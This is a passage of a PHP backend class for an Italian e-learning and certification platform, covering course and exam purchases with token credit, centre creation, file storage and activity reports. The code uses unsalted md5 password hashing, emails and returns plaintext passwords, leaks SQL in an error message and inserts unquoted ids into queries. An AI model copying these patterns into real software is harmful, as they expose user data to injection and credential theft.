		if($_prezzo){
			$prezzo =  $this->db->QuoteDecimal(floatval($corso['prezzo'])*-1);
		}else{
			$prezzo =  $this->db->QuoteDecimal($corso['prezzo']);
		}
		if($id_edizione && intval($id_edizione)>0){
			$id_edizione =  $this->db->quoteInt($id_edizione);
			$q = $this->db->SafeInsert("INSERT INTO iscrizioni_studenti_esami (id_user, id_esame, id_sessione) VALUES($id_user, $id_esame, $id_sessione);");
		}else{
			$q = $this->db->SafeInsert("INSERT INTO iscrizioni_studenti_esami (id_user, id_esame) VALUES($id_user, $id_esame);");
		}
		
		if(!$q){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile effetturare l'iscrizione, sembra che l'utente sia già iscritto alla certificazione!", false) );
		}

		$k = $this->db->SafeInsert("INSERT INTO $table (id_user, descrizione, prezzo, completed) VALUES($id_centro, $descrizione, $prezzo, 1);");
		if(!$k){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non stato possibile effettuare il pagamento, contatta la segreteria!", false) );
		}

		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Certificazione non acquistata errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Certificazione acquistata e associata all'utente!", true) );	
		}
	}

	
	function acquistaTentativo($id_user, $id_centro, $id_modulo, $id_iscrizione){
		$table = $this->getOrdiniTableByIdCentro($id_centro);
		$id_centro =  $this->db->quoteInt($id_centro);
		$id_modulo =  $this->db->quoteInt($id_modulo);
		$id_user =  $this->db->quoteInt($id_user);
		$id_iscrizione =  $this->db->quoteInt($id_iscrizione);
		
		$query = "SELECT SUM(prezzo) as credito FROM $table WHERE id_user =".$id_centro . " and completed=1";
		$res= $this->db->SafeFetchOne($query);	
		$credito = $res['credito'];
		if(!$credito){
			$credito = 0;
		}
	
		$corso= $this->db->SafeFetchOne("SELECT *  FROM corso_esame_modulo where attivo=1 AND id_modulo = $id_modulo");	

		if(($credito==0 && intval($corso['prezzo'])>0) || intval($credito) < intval($corso['prezzo'])){
			return $this->printMessage( $this->responseMessage("Non è stato possibile aggiungere il tentativo, il credito di $credito Token del centro non è sufficiente!", false) );
		}	
		

		$q = $this->db->SafeInsert("INSERT INTO corso_esame_modulo_tentativi_studente (id_user, id_modulo, id_iscrizione) VALUES($id_user, $id_modulo, $id_iscrizione);");
		if(!$q){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile aggiungere il tentativo!", false) );
		}

		$studente= $this->db->SafeFetchOne("SELECT *  FROM studenti_user_info where id_user = $id_user");	
		$descrizione =  $this->db->quoteText("Aquisto tentativo per modulo '" .$corso['titolo'] . "' per '" . $studente['nome']. " ".  $studente['cognome']. "' - ".  $studente['cdf']);
		$_prezzo =  $corso['prezzo'];
		if($_prezzo){
			$prezzo =  $this->db->QuoteDecimal(floatval($corso['prezzo'])*-1);
		}else{
			$prezzo =  $this->db->QuoteDecimal($corso['prezzo']);
		}

		$k = $this->db->SafeInsert("INSERT INTO $table (id_user, descrizione, prezzo, completed) VALUES($id_centro, $descrizione, $prezzo, 1);");
		if(!$k){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non stato possibile effettuare il pagamento, contatta la segreteria!", false) );
		}

		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Tentivo Modulo non acquistato errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Tentivo Modulo acquistato e associata all'utente!", true) );	
		}
	}
	
	// function assegnaCorsoUtente($id_user, $id_corso, $id_centro){
	// 	$id_centro =  $this->db->quoteInt($id_centro);
	// 	$id_corso =  $this->db->quoteInt($id_corso);
	// 	$id_user =  $this->db->quoteInt($id_user);

		
	// 	$corso= $this->db->SafeFetchOne("SELECT *  FROM corso where attivo=1 AND id_corso = $id_corso");	
	// 	$studente= $this->db->SafeFetchOne("SELECT *  FROM studenti_user_info where id_user = $id_user");	

	// 	$descrizione =  $this->db->quoteText("Aquisto corso '" .$corso['titolo'] . "' per '" . $studente['nome']. " ".  $studente['cognome']. "' - ".  $studente['cdf']);
	// 	$_prezzo =  $corso['prezzo'];
	// 	if($_prezzo){
	// 		$prezzo =  $this->db->QuoteDecimal(floatval($corso['prezzo'])*-1);
	// 	}else{
	// 		$prezzo =  $this->db->QuoteDecimal($corso['prezzo']);
	// 	}
		
		
	// 	if($this->db->SafeInsert("INSERT INTO iscrizioni_studenti_corsi (id_user, id_corso) VALUES($id_user, $id_corso);")){		
	// 		if($this->db->SafeInsert("INSERT INTO centri_ordini (id_user, descrizione, prezzo, completed) VALUES($id_centro, $descrizione, $prezzo, 1);")){		
	// 			return $this->printMessage( $this->responseMessage("Corso acquistato e associato all'utente!", true) );	
	// 		}else{
	// 			return $this->printMessage( $this->responseMessage("Non stato possibile effettuare il pagamento, contatta la segreteria!", false) );
	// 		}
	// 	}else{
	// 		return $this->printMessage( $this->responseMessage("Non è stato possibile effetturare l'iscrizione, sembra che l'utente sia già iscritto al corso!", false) );
	// 	}
	// }
	function assegnaCorsoUtente($id_user, $id_corso, $id_edizione, $id_centro){
		$table = $this->getOrdiniTableByIdCentro($id_centro);
		$id_centro =  $this->db->quoteInt($id_centro);
		$id_corso =  $this->db->quoteInt($id_corso);
		$id_user =  $this->db->quoteInt($id_user);
		
		$query = "SELECT SUM(prezzo) as credito FROM $table WHERE id_user =".$id_centro . " and completed=1";
		$res= $this->db->SafeFetchOne($query);	
		$credito = $res['credito'];
	
		$corso= $this->db->SafeFetchOne("SELECT *  FROM corso where attivo=1 AND id_corso = $id_corso");	

		if((!$credito && intval($corso['prezzo'])>0) || intval($credito) < intval($corso['prezzo'])){
			return $this->printMessage( $this->responseMessage("Non è stato possibile effetturare l'iscrizione, il tuo credito non è sufficiente! Effettua subito una ricarica nella sezione Ordini!", false) );
		}	

		$studente= $this->db->SafeFetchOne("SELECT *  FROM studenti_user_info where id_user = $id_user");	

		$descrizione =  $this->db->quoteText("Aquisto corso '" .$corso['titolo'] . "' per '" . $studente['nome']. " ".  $studente['cognome']. "' - ".  $studente['cdf']);
		$_prezzo =  $corso['prezzo'];
		if($_prezzo){
			$prezzo =  $this->db->QuoteDecimal(floatval($corso['prezzo'])*-1);
		}else{
			$prezzo =  $this->db->QuoteDecimal($corso['prezzo']);
		}
		if($id_edizione && intval($id_edizione)>0){
			$id_edizione =  $this->db->quoteInt($id_edizione);
			$q = $this->db->SafeInsert("INSERT INTO iscrizioni_studenti_corsi (id_user, id_corso, id_edizione) VALUES($id_user, $id_corso, $id_edizione);");
		}else{
			$q = $this->db->SafeInsert("INSERT INTO iscrizioni_studenti_corsi (id_user, id_corso) VALUES($id_user, $id_corso);");
		}
		
		if(!$q){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile effetturare l'iscrizione, sembra che l'utente sia già iscritto al corso!", false) );
		}

		$k = $this->db->SafeInsert("INSERT INTO $table (id_user, descrizione, prezzo, completed) VALUES($id_centro, $descrizione, $prezzo, 1);");
		if(!$k){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non stato possibile effettuare il pagamento, contatta la segreteria!", false) );
		}

		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Corso non acquistato errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Corso acquistato e associato all'utente!", true) );	
		}
	}
	
	function getUserAvatarLocation($id_user, $filename) {
		$res = $this->getFile('user_avatar', $id_user, $filename);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getFilesUtente($id_user) {
		
		$res = $this->getListaFilePrivate('user', $id_user);
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function getFileUtente($id_user, $filename) {
		
		$this->getFile("user",$id_user,$filename);
	}
	function cancellaFileUtente($id_user, $filename) {
		
		$this->deleteFileS3Private("user",$id_user,$filename);
	}
	

	function deleteUtente($_id_user){
		$this->db->beginTransaction();
		$id_user =  $this->db->quoteInt($_id_user);
		// $a = $this->db->SafeExec("DELETE FROM studente_user_info WHERE studente_user_info.id_user = $id_user");
		// if (!$a) {
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'utente!", false) );
		// }
		$b = $this->db->SafeExec("DELETE FROM user WHERE user.id_user = $id_user");
		if (!$b) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile eseguire l'operazione!!", false) );
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile eseguire l'operazione!!!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Utente eliminato con successo!", true) );	
		}
	}
	

	
	function insertCentro($_denominazione, $_piva, $_email, $_cellulare, $_corsi, $_esami, $_scadenza, $_account, $files){
		$this->db->beginTransaction();
		$id_user_insert =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$denominazione =  $this->db->quoteText($_denominazione);
		$piva =  $this->db->quoteText($_piva);
		$email =  $this->db->quoteText($_email);
		$cellulare =  $this->db->quoteText($_cellulare);
		$account =  $this->db->quoteInt($_account);
		$pwd = $this->generatePassword($_email);
		$password =  $this->db->quoteText(md5($pwd));
		if($_scadenza){
			$scadenza = $this->db->quoteText($_scadenza);
			$query = "INSERT INTO user (user_type_id, email, password, scadenza,created_by, account) VALUES(550550,$email, $password, $scadenza, $id_user_insert, $account);";
		}else{
			$query = "INSERT INTO user (user_type_id, email, password,created_by, account) VALUES(550550,$email, $password, $id_user_insert, $account);";
		}
		$res= $this->db->SafeInsert($query);
		if(!$res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Centro non inserito la mail risulta già presente nel sistema, si prega di utilizzare una email diversa!".$query, false) );
		}

		$id_user = $this->db->quoteInt($res);
		$query_profile = "INSERT INTO centri_user_info (id_user, denominazione, partita_iva, telefono) VALUES($id_user, $denominazione, $piva, $cellulare);";
		$profile_res= $this->db->SafeInsert($query_profile);	
		if(!$profile_res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Centro non inserito errore in fase di creazione del profilo!", false) );
		}

		//aggiungo corsi
		if($_corsi){
			$corsi=explode(",",$_corsi);
		}
		for ($i=0; $i < count($corsi); $i++) { 
			$id_corso = trim($corsi[$i]);
			if($id_corso){
				$query_corsi = "INSERT INTO centri_corsi_assegnati (id_centro, id_corso) VALUES($id_user, $id_corso);";
				$res_corsi= $this->db->SafeInsert($query_corsi);	
				if(!$res_corsi){	
					$this->db->rollback();
					return $this->printMessage( $this->responseMessage("Centro non inserito errore in fase di creazione di associazione dei corsi!", false) );
				}
			}
		}

		//aggiungo esami
		if($_esami){
			$esami=explode(",",$_esami);
		}
		for ($i=0; $i < count($esami); $i++) { 
			$id_esame = trim($esami[$i]);
			if($id_esame){
				$query_esami = "INSERT INTO centri_esami_assegnati (id_centro, id_esame) VALUES($id_user, $id_esame);";
				$res_esami= $this->db->SafeInsert($query_esami);	
				if(!$res_esami){	
					$this->db->rollback();
					return $this->printMessage( $this->responseMessage("Centro non inserito errore in fase di creazione di associazione delle certificazioni!", false) );
				}
			}
		}

		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Centro non inserito errore in fase di creazione!", false) );
		}
		

		//carico files
		$check = false;
		for ($i=0; $i < count($files); $i++) { 
			if(!$this->putFileS3Private("user", $id_user, $files[$i]) && !$check){
				$check = true;
			}
		}

		//Email
		$check_email = false;
		$oggetto = "Registrazione Utenza - Piattaforma Sapere";
		$htmlbody ="Gentile Utente,<br>di seguito le credenziali di accesso:<br><br>Username: ".$_email."<br>Password: ".$pwd."<br>Indirizzo di accesso: <a href='https://".$_SERVER['HTTP_HOST']."'>https://".$_SERVER['HTTP_HOST']."</a><br><br>Piattaforma Sapere";
		$txtbody ="Gentile Utente,\ndi seguito le credenziali di accesso:\n\nUsername: ".$_email."<br>Password: ".$pwd."\nIndirizzo di accesso: https://".$_SERVER['HTTP_HOST']."\n\nPiattaforma Sapere";
		if(!$this->inviaEmail($_email, $oggetto, $htmlbody, $txtbody)){
			$check_email = true;
		}
		
		if($check){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, verificare il corretto caricamento dei files!", true) );
		}else if($check_email){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, non è stato possibile inviare la mail, annotare la password e comunicarla all'utente!<br> Password:".$pwd, true) );
		}else{
			return $this->printMessage( $this->responseMessage("Utente inserito con successo! Password per il primo accesso: ".$pwd, true) );
		}
	}

	function getUtentiCentro($_id_user) {
		$id_centro =  $this->db->quoteInt($_id_user);
		
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location, 
		centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user AS affiliato_id_user, 
		GROUP_CONCAT(corso.id_corso SEPARATOR ', ') AS corsi_id, GROUP_CONCAT(corso.titolo SEPARATOR ', ') AS corsi_titolo, 
		GROUP_CONCAT(corso_esame.id_esame SEPARATOR ', ') AS esami_id, GROUP_CONCAT(corso_esame.titolo SEPARATOR ', ') AS esami_titolo 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_affiliato = centri_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_corsi on iscrizioni_studenti_corsi.id_user = user.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		LEFT JOIN iscrizioni_studenti_esami on iscrizioni_studenti_esami.id_user = user.id_user 
		LEFT JOIN corso_esame on corso_esame.id_esame = iscrizioni_studenti_esami.id_esame 
		WHERE user.user_type_id=1 AND user.id_centro = $id_centro 
		GROUP BY user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, 
		centri_user_info.denominazione, centri_user_info.id_user";
		$res= $this->db->SafeFetch($query);	
		for ($i=0; $i < count($res) ; $i++) { 
			$res[$i]['corsi_id'] = explode(", ", $res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = explode(", ", $res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = explode(", ", $res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = explode(", ", $res[$i]['esami_titolo']);
			//elimino duplicati
			$res[$i]['corsi_id'] = array_unique($res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = array_unique($res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = array_unique($res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = array_unique($res[$i]['esami_titolo']);

			//join
			$res[$i]['corsi_id'] = implode(", ", $res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = implode(", ", $res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = implode(", ", $res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = implode(", ", $res[$i]['esami_titolo']);
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	/* ---------------------------------------- */
	/* -------- SESSIONI ---------- */
	/* ---------------------------------------- */
	
	function getSessioni() {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getSessione($_id_sessione) {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro and sessione.id_sessione = $id_sessione";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	/* ---------------------------------------- */
	/* --------------- DOWNLOADS --------------- */
	/* ---------------------------------------- */
	

	function getFilesPubblici() {
		// $id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$res = $this->getListaFilePrivate('public', "centro");
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	function getFilePubblico($filename) {
		$this->getFile("public","centro",$filename);
	}
	function cancellaFilePubblico($filename) {
		
		$this->deleteFileS3Private("public","centro",$filename);
	}
	function uploadFilesPubblici($files){
		

		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("public","centro", $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function getUtentiCertificati() {
		
		$query = "SELECT studenti_user_info.cognome, studenti_user_info.nome, studenti_user_info.cdf, user.email, studenti_user_info.cellulare, studenti_user_info.telefono, user.id_user, 
		 corso_esame.id_esame, corso_esame.titolo, centri_user_info.id_user as id_centro, centri_user_info.denominazione as centro_nome, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.codice_certificato, iscrizioni_studenti_esami.data_esito  
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_esami ON user.id_user = iscrizioni_studenti_esami.id_user 
		LEFT JOIN centri_user_info ON user.id_centro = centri_user_info.id_user 
		LEFT JOIN sessione ON sessione.id_esame = iscrizioni_studenti_esami.id_esame 
		LEFT JOIN corso_esame on corso_esame.id_esame = iscrizioni_studenti_esami.id_esame 
		WHERE iscrizioni_studenti_esami.esito=1";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getUtentiAttestati() {
		
		$query = "SELECT studenti_user_info.cognome, studenti_user_info.nome, studenti_user_info.cdf, user.email, studenti_user_info.cellulare, studenti_user_info.telefono, user.id_user, 
		 corso.id_corso, corso.titolo, centri_user_info.id_user as id_centro, centri_user_info.denominazione as centro_nome, iscrizioni_studenti_corsi.seguito, iscrizioni_studenti_corsi.data_seguito, iscrizioni_studenti_corsi.file_att, iscrizioni_studenti_corsi.codice_attestato  
		FROM user 
		LEFT JOIN iscrizioni_studenti_corsi ON user.id_user = iscrizioni_studenti_corsi.id_user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_centro = centri_user_info.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE iscrizioni_studenti_corsi.seguito=1";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	/* ---------------------------------------- */
	/* --------------- DASHBOARD--------------- */
	/* ---------------------------------------- */
	
	function getHomeTopCards() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_supervisore =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT COUNT(*) AS numero_ordini FROM centri_ordini WHERE prezzo < 0;"; 
		$numero_ordini= $this->db->SafeFetchOne($query);	
		$query = "SELECT COUNT(*) AS numero_ordini FROM centri_ordini_standard WHERE prezzo < 0;"; 
		$numero_ordini['numero_ordini']+= $this->db->SafeFetchOne($query)['numero_ordini'];	
		$query = "SELECT COUNT(*) AS numero_utenti FROM user WHERE user_type_id = 1"; 
		$numero_utenti= $this->db->SafeFetchOne($query);	
		$query = "SELECT  COUNT(*) AS numero_centri FROM user WHERE user_type_id = 550550";// AND prezzo < 0;"; 
		$numero_centri= $this->db->SafeFetchOne($query);	
		$toRet = [ "numero_utenti"=>$numero_utenti['numero_utenti'],"numero_ordini"=>$numero_ordini['numero_ordini'], "numero_centri"=>$numero_centri['numero_centri']];
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	function getHomeProfileExpance() {
		$toRet = ['ordini','saldo'];
		for ($k=0; $k < 12; $k++) { 
			$toRet['ordini'][$k]=0;
			$toRet['saldo'][$k]=0;
		}
		$query = "SELECT YEAR(insert_time) AS anno, MONTH(insert_time) AS mese,	COUNT(*) AS numero_ordini FROM centri_ordini
					WHERE YEAR(insert_time) = YEAR(CURDATE()) and prezzo <0 GROUP BY YEAR(insert_time), MONTH(insert_time) ORDER BY mese;"; 
		$numero_ordini= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($numero_ordini); $ik++) { 
			$toRet['ordini'][($numero_ordini[$ik]['mese']-1)]= intVal($numero_ordini[$ik]['numero_ordini']);
		}

		$query = "SELECT YEAR(insert_time) AS anno, MONTH(insert_time) AS mese,	COUNT(*) AS numero_ordini FROM centri_ordini_standard
					WHERE YEAR(insert_time) = YEAR(CURDATE()) and prezzo <0 GROUP BY YEAR(insert_time), MONTH(insert_time) ORDER BY mese;"; 
		$numero_ordinist= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($numero_ordinist); $ik++) { 
			$toRet['ordini'][($numero_ordini[$ik]['mese']-1)]+= intVal($numero_ordini[$ik]['numero_ordini']);
		}


		$query = "SELECT YEAR(insert_time) AS anno, MONTH(insert_time) AS mese,	SUM(prezzo) AS totale FROM centri_ordini
					WHERE YEAR(insert_time) = YEAR(CURDATE()) AND prezzo < 0 GROUP BY YEAR(insert_time), MONTH(insert_time) ORDER BY mese;"; 
		$totale_ordini= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($totale_ordini); $ik++) { 
			$toRet['saldo'][($totale_ordini[$ik]['mese']-1)]= intVal($totale_ordini[$ik]['totale'])*-1;
		}

		$query = "SELECT YEAR(insert_time) AS anno, MONTH(insert_time) AS mese,	SUM(prezzo) AS totale FROM centri_ordini_standard
					WHERE YEAR(insert_time) = YEAR(CURDATE()) AND prezzo < 0 GROUP BY YEAR(insert_time), MONTH(insert_time) ORDER BY mese;"; 
		$totale_ordinist= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($totale_ordinist); $ik++) { 
			$toRet['saldo'][($totale_ordini[$ik]['mese']-1)]+= intVal($totale_ordinist[$ik]['totale'])*-1;
		}
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	function getHomeProductSales() {
		$toRet = ['iscritti'];
		for ($k=0; $k < 12; $k++) { 
			$toRet['iscritti'][$k]=0;
		}
		$query = "SELECT YEAR(create_time) AS anno, MONTH(create_time) AS mese,	COUNT(*) AS iscritti FROM user
					WHERE YEAR(create_time) = YEAR(CURDATE()) AND user_type_id=1 GROUP BY YEAR(create_time), MONTH(create_time) ORDER BY mese;"; 
		$totale_ordini= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($totale_ordini); $ik++) { 
			$toRet['iscritti'][($totale_ordini[$ik]['mese']-1)]= intVal($totale_ordini[$ik]['iscritti']);
		}
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	

	
	private function calcolaTempoSuPiattaforma($_arr){
		$totale = 0;
		$arr = [];
		for ($i=0; $i < count($_arr); $i++) { 
			if($_arr[$i]['type'] == "login" || $_arr[$i]['type'] == "logout"){
				$arr[]=$_arr[$i];
			}
		}
		
		for ($i=0; $i < count($arr); $i++) { 
			if($i > 0 && $arr[$i]['type'] == "logout" ){
				$tempo = strtotime($arr[$i]['data']) - strtotime($arr[$i-1]['data']);
				$totale+= $tempo;
				// echo "check ".$i.": ". strtotime($arr[$i]['data'])." - ".strtotime($arr[$i-1]['data']) ."<br>";
				// echo "tempo ".$i.": ". $tempo ."<br>";
			}
		}
		
		if($totale == 0){
			return 0;
		}
		
		return $totale/60;//minuti
		
	}

	function generaStoricoUtente($_id_user, $_id_corso, $_id_edizione, $_id_iscrizione){
		$id_user = $this->db->quoteInt($_id_user);
		$id_corso = $this->db->quoteInt($_id_corso);
		$id_edizione = $this->db->quoteInt($_id_edizione);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$toRet = array();

		$query = "SELECT * FROM user LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user WHERE user.id_user = $id_user";
		$res_profilo = $this->db->SafeFetchOne($query);
		

		
		
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso;";
		$res_corso= $this->db->SafeFetchOne($query);

		$query = "SELECT * FROM corso_edizione WHERE id_corso = $id_corso AND id_edizione = $id_edizione;";
		$res_edizione= $this->db->SafeFetchOne($query);

		$query = "SELECT * FROM corso_lezione WHERE id_corso = $id_corso;";
		$res_moduli= $this->db->SafeFetch($query);

		$query = "SELECT MIN(data_inizio) AS data_inizio, MAX(data_fine) AS data_fine FROM corso_edizione_lezione WHERE id_edizione = $id_edizione;";
		$date_edizioni = $this->db->SafeFetchOne($query);	

		if($date_edizioni['data_inizio'] && $date_edizioni['data_fine']){
			$query_az = "SELECT * FROM user_log WHERE id_user = $id_user AND data >= '".$date_edizioni['data_inizio']."' AND data <= '".$date_edizioni['data_fine']."' ORDER BY data DESC";
			$query_login = "SELECT * FROM controllo_login WHERE controllo_login.iduser = $id_user AND timestamp >= '".$date_edizioni['data_inizio']."' AND timestamp <= '".$date_edizioni['data_fine']."' ORDER BY timestamp DESC";
		}else{
			$query_az = "SELECT * FROM user_log WHERE id_user = $id_user ORDER BY data DESC";
			$query_login = "SELECT * FROM controllo_login WHERE controllo_login.iduser = $id_user ORDER BY timestamp DESC";
		}

		$controllo_login = $this->db->SafeFetch($query_login);

		$azioni = $this->db->SafeFetch($query_az);
		
		$query = "SELECT SUM(tempo_su_lezione) AS totale FROM corso_lezione_studente WHERE id_user = $id_user AND id_corso = $id_corso AND id_iscrizione = $id_iscrizione";
		$_tempo = $this->db->SafeFetchOne($query);
		
		$tempo = intval($_tempo['totale'])/60;
		//tempo max 2 cifre decimali
		$tempo = number_format($tempo, 2, '.', '')." minuti";

		$query = "SELECT * FROM iscrizioni_studenti_corsi LEFT JOIN corso ON iscrizioni_studenti_corsi.id_corso = corso.id_corso WHERE iscrizioni_studenti_corsi.id_user = $id_user AND iscrizioni_studenti_corsi.id_iscrizione = $id_iscrizione";
		$iscrizioni = $this->db->SafeFetchOne($query);

		
		
		//le path
		$path = $_SERVER[ 'DOCUMENT_ROOT']."/../";
		$path_word = $path."generator_pdf/it-pass-report-corso/word/";
		$path_tmp = $path."generator_pdf/tmp_it-pass-report-corso/word/";
		$url_qr_code_image = $path_word."media/image3.png";
		$url_tmp_qr_code_image = $path_tmp."media/image3.png";	
		
		if($id_edizione){
			$codice_certificato = "R-".$id_iscrizione."-".$id_user."-".$id_corso."-".$id_edizione."-".$this->generatePassword($id_user.$id_corso);
		}else{
			$codice_certificato = "R-".$id_iscrizione."-".$id_user."-".$id_corso."-N-".$this->generatePassword($id_user.$id_corso);
		}
		$nome_file_certificato = $codice_certificato;
		
		//imposto i dati del report
		$nome = strtoupper($res_profilo['cognome']);
		$cognome = strtoupper($res_profilo['cognome']);
		$_data_nascita = explode("-",$res_profilo['datanascita']);
		$data_nascita = $_data_nascita[2]."/".$_data_nascita[1]."/".$_data_nascita[0];
		$codice_fiscale= $res_profilo['cdf'];

		$nome_corso= $res_corso['titolo'];
		
		$__data_inizio = explode(" ",$date_edizioni['data_inizio']);
		$_data_inizio = explode("-",$__data_inizio[0]);
		$data_inizio_edizione = $_data_inizio[2]."/".$_data_inizio[1]."/".$_data_inizio[0];
		
		$__data_fine = explode(" ",$date_edizioni['data_fine']);
		$_data_fine = explode("-",$__data_fine[0]);
		$data_fine_edizione = $_data_fine[2]."/".$_data_fine[1]."/".$_data_fine[0];
		
		$numero_moduli = count($res_moduli);
		$moduli = [];
		for ($i=0; $i < count($res_moduli); $i++) { 
			$modulo = [];
			$modulo['titolo'] = ($res_moduli[$i]['titolo'])? $res_moduli[$i]['titolo'] : 'Nessun titolo impostato';
			$modulo['durata'] = ($res_moduli[$i]['time'] > -1)? ($res_moduli[$i]['time']/60)." ore": 'Nessuna durata impostata';
			if($res_moduli[$i]['quiz']=="1"){
				$modulo['durata_quiz'] = ($res_moduli[$i]['quiz_time'] > -1)? ($res_moduli[$i]['quiz_time']/60)." ore": 'Nessuna durata impostata';
				
			}else{
				$modulo['durata_quiz'] = 'Non Previsto';
			}
			
			
			
			$query_corso_lezione_studente = "SELECT * FROM corso_lezione_studente WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = ".$res_moduli[$i]['id_lezione'].";";
			$res_corso_lezione_studente = $this->db->SafeFetchOne($query_corso_lezione_studente);
			if($res_corso_lezione_studente){
				$modulo['time_check'] = ($res_corso_lezione_studente['time_check'])?"Si":"No";
				if($res_moduli[$i]['quiz']=="1"){
					$modulo['quiz_check'] = ($res_corso_lezione_studente['quiz_check'])?"Si":"No";
					$modulo['risposte_quiz'] = ($res_corso_lezione_studente['risposte_quiz'])?$res_corso_lezione_studente['risposte_quiz']:"Non presenti";
				}else{
					
				}
			}else{
				$modulo['time_check'] = "No";
			}
			$moduli[] = $modulo;
		}	
		
		$login = [];
		for ($i=0; $i < count($controllo_login); $i++) { 
			$l = [];
			$da = explode(" ",$controllo_login[$i]['timestamp']);
			$dat = explode("-",$da[0]);
			$data = $dat[2]."/".$dat[1]."/".$dat[0]." ".$da[1];
			$l['data_login'] = $data;
			$l['ip_login'] = $controllo_login[$i]['ip'];
			$l['user_agent_login'] = $controllo_login[$i]['useragent'];
			$login[] = $l;
		}

		$act = [];
		for($i=0; $i < count($azioni); $i++) { 
			$a = [];
			$da = explode(" ",$azioni[$i]['data']);
